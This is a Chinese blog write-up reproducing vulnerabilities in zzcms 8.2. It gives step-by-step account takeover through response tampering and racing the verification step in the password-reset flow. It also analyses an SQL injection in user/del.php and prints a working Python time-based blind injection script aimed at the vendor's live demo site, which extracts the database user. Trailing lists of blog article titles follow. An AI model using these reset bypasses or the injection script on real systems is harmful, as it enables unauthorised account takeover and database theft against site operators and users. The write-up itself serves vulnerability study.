zzcms8.2#任意用户密码重置#del.php时间盲注#复现
00x0 引言
早上起来,发现seebug更新了一批新的洞,
发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~)
环境:zzcms8.2(产品招商型)
php-5.4.45
. mysql-5.5.53
01x0 任意用户密码重置
01x1 任意用户密码重置方式一
话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~
先注册个账号,然后首页点击找回密码.
地址:http://localhost/one/getpassword.php
这里还存在用户遍历,如果存在该用户,那么返回在前端页面的就是如上所述的正确的状态
回到主题,输入验证码后点击下一步,进入下一个状态.
不用点击获取验证码,随意输入任意数字,直接点击下一步,抓包
获取响应包
把no改为yes,然后forward,到这里你会发现前端页面没什么变化
再看抓包工具,你会看到这个包
这个明显就是验证码成功的包,直接forward.
输入新密码,直接重置.
重置成功
01x2 任意用户密码重置方式二
这个,是最简单的,根本不用抓包.
拿demo站做测试.
下一步,
会看到,这个,然后不用选择验证方式,不用点击获取验证码,随便输入任意数字,直接点击下一步.
一定快速输入,不然会发包后端会做验证,在显示
这样的红色警告字符之前点击下一步
直接跳转到修改密码处,
02x0 del.php 时间盲注
这个在freebuf被某个师傅发出来过,我这就做简单的分析
http://www.freebuf.com/vuls/161888.html
user/del.php 13行
这里两个post参数都是未做处理,传进来之后直接格式化了.
再到136行
直接带入查询了.贴上大牛的poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ''
for i in range(1, 2):
for payload in payloads: #遍历取出字符
startTime = time.time()
post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} )
if time.time() - startTime > 5:
user = payload
print 'user is:', user
break
print '\n[Done] current user is %s' % user
最新文章
- swift中 if let 与 guard let 对比,guard会降低一个分支
- css单位:em,rem解释
- Xcode免证书调试
- 图表控件== 百度 echarts的入门学习
- mac idea 设置
- AI编辑SVG格式的相关问题
- ELK部署
- QT源码解析(一) QT创建窗口程序、消息循环和WinMain函数
- Unity3d 协程、调用函数、委托
- Oracle创建序列
- SAR-303 xml validator验证框架
- cf478C Table Decorations
- Java彻底 - WEB容器的侦听具体解释 ServletContextListener
- C#命令模式-设计模式学习
- c#params应用
- java调用python程序以及向python程序传递参数
- Python之路【第三篇】编码
- sql server 备份与恢复系列五 完整模式下的备份与还原
- 完成将 toChineseNum, 可以将数字转换成中文大写的表示,处理到万级别,例如 toChineseNum(12345),返回 一万二千三百四十五
- SaltStack 模块
热门文章
- LuceneNet 实现快速大文件大数据查询
- haslib 模块
- Java数据结构和算法(十二)——2-3-4树
- ceph -s集群报错too many PGs per OSD
- Android 通知 相关api记录
- nodeJS里面的模块
- jquery ajax 请求中多出现一次OPTIONS请求及其解决办法
- [原创]消灭eclipse中运行启动的错误:“找不到或无法加载主类”问题
- Docker问题: Layer already being pulled by another client. Waiting.什么原因
- 新手数据比赛中数据处理方法小结(python)